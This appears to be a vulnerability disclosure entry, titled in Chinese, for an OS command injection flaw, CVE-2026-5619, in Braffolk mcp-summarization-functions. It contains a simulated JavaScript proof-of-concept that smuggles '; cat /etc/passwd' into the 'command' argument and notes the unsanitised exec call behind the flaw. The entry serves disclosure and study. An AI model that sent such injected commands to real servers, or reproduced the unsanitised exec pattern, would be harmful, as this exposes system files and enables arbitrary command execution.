CVE-2026-5619 Braffolk组件操作系统命令注入漏洞

// PoC for CVE-2026-5619 // Target: Braffolk mcp-summarization-functions <= 0.1.5 // Description: Manipulating the 'command' argument to inject OS commands. function exploit() { const maliciousCommand = "; cat /etc/passwd"; // Injection payload // Simulating the vulnerable request to the summarize_command component const payload = { command: maliciousCommand }; // The vulnerable code in src/server/mcp-server.ts executes this without sanitization // Example: exec(`summarize ${payload.command}`) console.log(`Sending payload: ${JSON.stringify(payload)}`); // If exploited, the server would execute: summarize ; cat /etc/passwd return payload; } exploit();